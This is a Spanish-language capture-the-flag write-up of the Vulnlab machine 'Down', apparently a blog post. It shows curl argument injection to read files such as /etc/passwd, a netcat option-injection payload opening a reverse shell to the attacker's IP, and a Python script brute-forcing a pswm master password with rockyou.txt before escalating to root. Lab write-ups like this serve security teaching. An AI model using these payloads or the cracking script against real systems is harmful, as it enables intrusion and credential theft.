Down - Writeup (Vulnlab)


NMAP
Comenzamos con la enumeracion de puertos y servicios:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 f6:cc:21:7c:ca:da:ed:34:fd:04:ef:e6:f9:4c:dd:f8 (ECDSA)
|_ 256 fa:06:1f:f4:bf:8c:e3:b0:c8:40:21:0d:57:06:dd:11 (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Is it down or just me?
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Solamente puerto 22 y 80 disponibles de TCP.
HTTP | 80
Al acceder al servicio web sobre el puerto 80 (Apache), se presenta una interfaz típica para verificar el estado de la URL:
Probamos ingresando “localhost” como URL de prueba. El sistema parece hacer una petición HTTP al destino y mostrar el resultado, lo cual sugiere una posible vulnerabilidad SSRF (Server-Side Request Forgery).
Si trato de leer un archivo como .htaccess, me da error de permisos:
Parameter Injection
Queria saber de que modo leia el codigo fuente cuando le pasabamos el sitio web mediante el parametro “URL” que utiliza, y compruebo que se trata de cURL, ya que al inyectar –help como valor, el sistema respondió con la ayuda del comando:
http://localhost -h
Lectura de archivos mediante file:///
Aprovechando que el backend ejecuta curl directamente con el parámetro URL, es posible abusar del esquema file:/// para leer archivos locales del sistema:
http://localhost file:///etc/hosts
http://localhost file:///etc/passwd
Interpretando el codigo de INDEX.php
Siguiendo la misma via de inyeccion si trato con file:/// obtener el codigo fuente de index.php encuentro un finding interesante:
http://localhost file:///var/www/html/index.php
expertmode=tcp
Cuando se accede mediante el index.php pasandole
expertmode=tcp
, el formulario permite ingresar una IP y un puerto.El código verifica si la IP es válida y si el puerto es un número entero.
Luego, utiliza
nc
(netcat) para verificar si el puerto está abierto en la IP especificada:$ec = escapeshellcmd("/usr/bin/nc -vz $ip $port"); exec($ec . " 2>&1",$output,$rc);
USER: Getting revshell
Aunque usa escapeshellcmd()
para intentar proteger el comando, esto no es suficiente, ya que solo escapa caracteres específicos, pero no protege los parámetros que se pasan a netcat ($ip
y $port
). La idea fue inyectar opciones adicionales en el parámetro port
para ejecutar una revshell:
Payload:
ip=10.8.0.147&port=8000+-e+/bin/bash
Finalmente cateamos la flag y obtenemos el user.
Enumerando el sistema, habiamos visto al principio que teniamos un solo usuario, llamado “aleks”, dentro de su carpeta, si veo los permisos puedo acceder a su home y asi mismo a una carpeta llamada pswm:
Dentro hay un archivo llamado del mismo modo, que aparentemente tiene un contenido cifrado.
PSWM | Command Line Password Manager
Una rapida busqueda a Google me permite identificar de que se trata: https://github.com/Julynx/pswm
Cracking pwsm master password
Para resolver esto utilicé fuerza bruta con el wordlist rockyou.txt
y la biblioteca cryptocode
en Python. El script va probando cada contraseña del wordlist, usando la función cryptocode.decrypt()
contra la cadena cifrada.
crackPSWM.py
#!/usr/bin/env python3
# by shkz
import cryptocode
# Master Password
secret = "e9laWoKiJ0OdwK05b3hG7xMD+uIBBwl/v01lBRD+pntORa6Z/Xu/TdN3aG/ksAA0Sz55/kLggw==*xHnWpIqBWc25rrHFGPzyTg==*4Nt/05WUbySGyvDgSlpoUw==*u65Jfe0ml9BFaKEviDCHBQ==w"
# BF Wordlist -> rockyou.txt
wordlist = "rockyou.txt"
# BF with rockyou.txt
try:
with open(wordlist, "r", encoding="latin-1") as file:
for password in file:
password = password.strip()
decrypted_data = cryptocode.decrypt(secret, password)
if decrypted_data:
print(f"[+] Password FOUND!: {password}")
print(f"Data: {decrypted_data}")
break
else:
print("[-] No luck!")
except FileNotFoundError:
print(f"[-] Error file {wordlist}.")
Ejecuto el script y logro crackear el Master Password cifrado:
python3 crackPSWM.py
Getting aleks shell
Ahora que tengo el password de aleks puedo convertirme en el y obtener shell:
su aleks
ROOT
Para nuestra suerte verificando el comando sudo -l
vemos que tiene ALL:ALL
Basicamente somos root.
sudo su
Pwn3d!
Subscribe to my newsletter
Read articles from shkz directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by

shkz
shkz
I am shkz, a Security Researcher, Red Team and CTF Player.